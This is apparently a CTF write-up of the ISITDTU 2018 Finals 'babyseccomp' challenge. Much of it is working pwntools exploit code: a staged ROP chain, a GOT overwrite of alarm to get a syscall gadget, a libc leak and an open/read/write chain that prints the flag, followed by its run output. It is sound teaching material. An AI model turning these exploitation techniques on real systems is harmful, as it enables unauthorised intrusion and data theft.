ISITDTU CTF 2018 Finals - babyseccomp
nc 10.7.3.94 31337
Attachment: babyseccomp libc.so.6 xpl.py
$ file babyseccomp
babyseccomp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=45afb1729fe3d826e5d47855926bfeba9bd25cd1, not stripped
The binary initializes some seccomp rules, and then just reads a huge string, so it’s another simple rop challenge :)
int main(int argc, char *argv[])
{
char buf[8];
INIT();
init_seccomp();
readStr(&buf, 0x70);
return 0;
}
So, we can send a ropchain with length 0x70
, we just have to make sure not to hit any blacklisted syscalls.
Let’s take a list at the seccomp rules in place:
$seccomp-tools dump ./babyseccomp
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x08 0x00 0x40000000 if (A >= 0x40000000) goto 0012
0004: 0x15 0x06 0x00 0x00000000 if (A == read) goto 0011
0005: 0x15 0x05 0x00 0x00000001 if (A == write) goto 0011
0006: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0011
0007: 0x15 0x03 0x00 0x0000000a if (A == mprotect) goto 0011
0008: 0x15 0x02 0x00 0x00000025 if (A == alarm) goto 0011
0009: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0011
0010: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x06 0x00 0x00 0x00000000 return KILL
This means, we’re allowed to use read
, write
, open
, mprotect
, alarm
and exit
syscalls. With open
, read
, write
we have everything ready to create a ropchain, to open, read and write the flag :)
The only problem here is, that the binary only contains functions to read
input, no gadget to set rax
or to do a syscall
at all:
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__
0000000000601070 R_X86_64_COPY stdout@@GLIBC_2.2.5
0000000000601080 R_X86_64_COPY stdin@@GLIBC_2.2.5
0000000000601018 R_X86_64_JUMP_SLOT seccomp_init
0000000000601020 R_X86_64_JUMP_SLOT seccomp_rule_add
0000000000601028 R_X86_64_JUMP_SLOT seccomp_load
0000000000601030 R_X86_64_JUMP_SLOT setbuf@GLIBC_2.2.5
0000000000601038 R_X86_64_JUMP_SLOT alarm@GLIBC_2.2.5
0000000000601040 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5
0000000000601048 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5
0000000000601050 R_X86_64_JUMP_SLOT exit@GLIBC_2.2.5
So, we have to change this, but for the start, let’s just read in another (bigger) ropchain to be a little bit more flexible on ropping through this.
We’ll just reuse the existing readStr
function for this:
#!/usr/bin/python
from pwn import *
import sys
HOST = "10.7.3.94"
PORT = 31337
POPRDI = 0x0000000000400b03
POPRSIR15 = 0x0000000000400b01
LEAVERET = 0x00000000004009c9
def exploit(r):
payload = "A"*8
payload += p64(0x601500-8)
# Stage1 : Read bigger ropchain to bss
payload += p64(POPRDI)
payload += p64(0x601500)
payload += p64(POPRSIR15)
payload += p64(0x1000)
payload += p64(0)
payload += p64(e.functions["readStr"].address)
payload += p64(LEAVERET)
r.sendline(payload)
r.interactive()
return
if __name__ == "__main__":
e = ELF("./babyseccomp")
libc = ELF("./libc.so.6")
if len(sys.argv) > 1:
r = remote(HOST, PORT)
exploit(r)
else:
r = process("./babyseccomp", env={"LD_LIBRARY_PATH" : ".", "LD_PRELOAD" : "./libc.so.6"})
print util.proc.pidof(r)
pause()
exploit(r)
Since we now have more place for putting additional ropchains, we can get a little bit wasteful on our space and use ret_csuinit
for additional calls.
# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
POPALL = 0x000000000400AFA
# mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]
CALLER = 0x400ae0
# overwrite alarm to get a syscall gadget
def call_func(func, rdi, rsi, rdx):
result = ""
result += p64(POPALL)
result += p64(0)
result += p64(1)
result += p64(func) # r12
result += p64(rdx) # r13 => rdx
result += p64(rsi) # r14 => rsi
result += p64(rdi) # r15
result += p64(CALLER)
result += p64(0xdeadbeef)
result += p64(0)
result += p64(0)
result += p64(0)
result += p64(0)
result += p64(0)
result += p64(0)
return result
Still, we can only read but having access to libc gadgets would make this even easier (you might do it without with setting rax
via consecutive calls to read, but having a pop rax
will make the exploit nicer).
So, we need a syscall
gadget, which the binary doesn’t contains. But it has a call to alarm
, which is just
gdb-peda$ x/30i 0x00007ffff7ac8840
0x7ffff7ac8840: mov eax,0x25
0x7ffff7ac8845: syscall
Thus, we can now just use readStr
agin to read 1 byte into the got of alarm
and overwrite the LSB of the alarm
address, letting it point to 0x7ffff7ac8845
. After this, a call to alarm
will just trigger syscall
, exactly what we need :)
# overwrite alarm LSB to get a syscall gadget
payload = p64(POPRDI)
payload += p64(e.got["alarm"])
payload += p64(POPRSIR15)
payload += p64(1)
payload += p64(0)
payload += p64(e.functions["readStr"].address)
...
# send next ropchain
r.sendline(payload)
pause()
# send byte to overwrite alarm LSB
r.send(p8(0x45))
Now having a syscall
gadget, we’re able to do a write
syscall for a libc leak. But still, we need to set rax
to 1
for this. No pop rax
available yet, but read
will set rax
to the number of bytes read ,so let’s just read a single byte
# read (0, 601200, 1) => set rax to 1
payload += call_func(e.got["read"], 0, 0x601200, 0x1)
# calling alarm will now result in write(1, 0x601030, 0x8) => leak got entry
payload += call_func(e.got["alarm"], 1, 0x000000000601030, 0x8)
...
# send byte to set rax to 1
r.send(p8(0xff))
# leak setbuf got
SETBUF = u64(r.recv(6).ljust(8, "\x00"))
The following call to alarm
will then call syscall
and since we set rax
to 1
via the read, it will be write
spitting out the got
entry of setbuf
.
We’ll just add another read
ropchain after the syscall, so we can read another ropchain to continue with after the leak
# read another ropchain
payload += p64(POPRDI)
payload += p64(0x601650)
payload += p64(POPRSIR15)
payload += p64(0x300)
payload += p64(0)
payload += p64(e.functions["readStr"].address)
# next payload will be read directly behind last ropchain call
The next ropchain will be put exactly behind the last call of this ropchain, so it will directly continue with that one after the readStr
call has finished.
Now just leak setbuf
and calculate libc and gadget addresses:
# leak setbuf got
SETBUF = u64(r.recv(6).ljust(8, "\x00"))
log.info("SETBUF : %s" % hex(SETBUF))
libc.address = SETBUF - libc.symbols["setbuf"]
log.info("LIBC : %s" % hex(libc.address))
POPRAX = libc.address + 0x00000000000439c8
POPRSI = libc.address + 0x0000000000023e6a
POPRDX = libc.address + 0x0000000000001b96
SYSCALL = libc.address + 0x00000000000d2975
Now we have every gadget to open
the flag file, read
it to bss and then write
it back to us, so let’s finish this up
# send final open/read/write ropchain
# open flag
payload = p64(POPRAX)
payload += p64(2)
payload += p64(POPRDI)
payload += p64(0x601728) # address of flag string
payload += p64(POPRSI)
payload += p64(0)
payload += p64(POPRDX)
payload += p64(0)
payload += p64(SYSCALL)
# read flag
payload += p64(POPRAX)
payload += p64(0)
payload += p64(POPRDI)
payload += p64(3)
payload += p64(POPRSI)
payload += p64(0x601400)
payload += p64(POPRDX)
payload += p64(100)
payload += p64(SYSCALL)
# write flag
payload += p64(POPRAX)
payload += p64(1)
payload += p64(POPRDI)
payload += p64(1)
payload += p64(POPRSI)
payload += p64(0x601400)
payload += p64(POPRDX)
payload += p64(100)
payload += p64(SYSCALL)
# and location of flag to ropchain
payload += "/home/babyseccomp/flag\x00"
r.sendline(payload)
r.interactive()
$ python xpl.py 1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[▆] Opening connection to 10.7.3.94 on port 31337: Trying 10.7.3.94
[+] Opening connection to 10.7.3.94 on port 31337: Done
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] SETBUF : 0x7fe6f920b4d0
[*] LIBC : 0x7fe6f9183000
[*] Paused (press any to continue)
[*] Switching to interactive mode
\x00\x00ISITDTU{540699d093c0f7a8e79ce2b8f2d9b7c425f6735e}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
ISITDTU{540699d093c0f7a8e79ce2b8f2d9b7c425f6735e}